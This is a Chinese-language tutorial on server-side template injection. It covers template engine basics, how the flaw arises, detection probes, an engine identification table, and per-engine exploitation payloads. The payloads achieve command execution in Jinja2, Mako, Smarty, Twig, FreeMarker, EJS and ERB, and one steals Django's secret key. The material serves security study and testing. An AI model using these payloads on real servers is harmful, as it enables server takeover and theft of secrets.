本文最后更新于 62 天前,其中的信息可能已经有所发展或是发生改变。
SSTI(服务器端模板注入):攻击者通过向模板引擎注入恶意代码,在服务器端执行任意命令。当用户输入被直接拼接到模板中且未严格过滤时,攻击者即可控制模板逻辑,导致敏感数据泄露、服务器接管等严重后果。
模版引擎
模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。模版引擎种类非常多,每种语言都有好几种模版引擎且语法不尽相同。
漏洞原理
<h1>Hello, {{ user.name }}!</h1>
有此模版,{{}}内是动态数据,由用户输入决定。当用户正常输入,例如:kingflag时,{{user.name}}将会被替换成”kingflag”。当用户输入{{payload}}时,{{user.name}}会被替换成{{payload}},{{}}包括的内容将会作为恶意代码将会被执行。
攻击流程
graph TD
A[探测] --> B[确认引擎类型]
B --> C[利用引擎特性]
C --> D[执行命令/读取文件]
D --> E[权限提升]
E --> F[建立持久化访问]
漏洞探测
纯文本上下文
- 数字表达式探测
{{ 7*7 }}
${7*7}
#{7*7}
*{7*7}
- 注释探测
{# 注释 #}
<!-- 注释 -->
- 字符串连接探测
{{ "a"+"b" }}
${"a"+"b"}
代码上下文
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)
当你可以改变模版框架时,例如以上例子。你可以控制greeting。本应该用来改变渲染的变量名。当你输入}}payload{{时。
Hello {{}}payload{{}}
改变了模版结构,使你可以控制整个模版,危害更大。
模版引擎识别
确定网站所使用的模版引擎。
不同引擎的情况如下:
Engine | Language | Burp | ZAP | tplmap | site done | known exploit | port | tags |
---|---|---|---|---|---|---|---|---|
jinja2 | Python | ✓ | ✓ | ✓ | ✓ | ✓ | 5000 | {{%s}} |
Mako | Python | ✓ | ✓ | ✓ | ✓ | ✓ | 5001 | ${%s} |
Tomado | Python | ✓ | ✓ | ✓ | ✓ | ✓ | 5002 | {{%s}} |
Django | Python | ✓ | ✓ | × | ✓ | × | 5003 | {{ }} |
(code eval) | Python | – | – | – | ✓ | – | 5004 | na |
(code exec) | Python | – | – | – | ✓ | – | 5005 | na |
Smarty | PHP | ✓ | ✓ | ✓~ | ✓ | ✓ | 5020 | {%s} |
Smarty (secure mode) | PHP | ✓ | ✓ | ✓~ | ✓ | × | 5021 | {%s} |
Twig | PHP | ✓ | ✓ | ✓~ | ✓ | × | 5022 | {{%s}} |
(code eval) | PHP | – | – | – | ✓ | – | 5023 | na |
FreeMarker | Java | ✓ | ✓ | ✓ | ✓ | ✓ | 5051 | <#%s > ${%s} |
Velocity | Java | ✓ | ✓ | ✓ | ✓ | ✓ | 5052 | #set($x=1+1)$(x) |
Thymeleaf | Java | × | ✓ | × | ✓ | × | 5053 | |
Groovy* | Java | × | × | × | ||||
jade | Java | × | × | × | ||||
jade | Nodejs | ✓ | ✓ | ✓ | ✓ | ✓ | 5061 | #{%s} |
Nunjucks | JavaScript | ✓ | ✓ | ✓ | ✓ | ✓ | 5062 | {{%s}} |
doT | JavaScript | × | ✓ | ✓ | ✓ | ✓ | 5063 | {{=%s}} |
Marko | JavaScript | × | × | × | ||||
Dust | JavaScript | × | ✓ | ✓~ | ✓ | × | 5065 | (#%s) or (%s) or (@%s) |
EJS | JavaScript | ✓ | ✓ | ✓ | ✓ | ✓ | 5066 | <%= %> |
(code eval) | JavaScript | – | – | – | ✓ | – | 5067 | na |
vuejs | JavaScript | ✓ | ✓ | ✓~ | ✓ | ✓ | 5068 | {{%s}} |
Slim | Ruby | × | ✓ | × | ✓ | ✓ | 5080 | #{%s} |
ERB | Ruby | ✓ | ✓ | ✓ | ✓ | ✓ | 5081 | <%=%s%> |
(code eval) | Ruby | – | – | – | ✓ | – | 5082 | na |
go | go | × | ✓ | × | ✓ | ✓ | 5090 | na |
利用引擎特性
Python引擎家族
引擎 | 探测Payload | 利用方法 |
---|---|---|
Jinja2 | {{7*7}} → 49 | 类继承链遍历:{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read() }} |
Mako | ${7*7} → 49 | 直接执行代码:<% import os; os.system("id") %> |
Django | {{7}} → 7 | 有限利用:{{ settings.SECRET_KEY }} 窃取密钥 |
PHP引擎家族
引擎 | 探测Payload | 利用方法 |
---|---|---|
Smarty | {7*7} → 49 | 代码执行:{php}system("id");{/php} |
Twig | {{7*7}} → 49 | 环境变量读取:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
Java引擎家族
引擎 | 探测Payload | 利用方法 |
---|---|---|
FreeMarker | ${7*7} → 49 | 代码执行:<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") } |
Velocity | #set($x=7*7)$x → 49 | 反射执行:#set($rt=$class.inspect("java.lang.Runtime")) #set($chr=$class.inspect("java.lang.Character")) |
JavaScript引擎家族
引擎 | 探测Payload | 利用方法 |
---|---|---|
EJS | <%=7*7%> → 49 | 直接执行Node代码:<%= process.mainModule.require('child_process').execSync('id') %> |
Vue.js | {{7*7}} → 49 | 客户端利用:{{constructor.constructor('alert(1)')()}} |
Ruby引擎家族
引擎 | 探测Payload | 利用方法 |
---|---|---|
ERB | <%=7*7%> → 49 | 系统命令执行:<%= system("id") %> |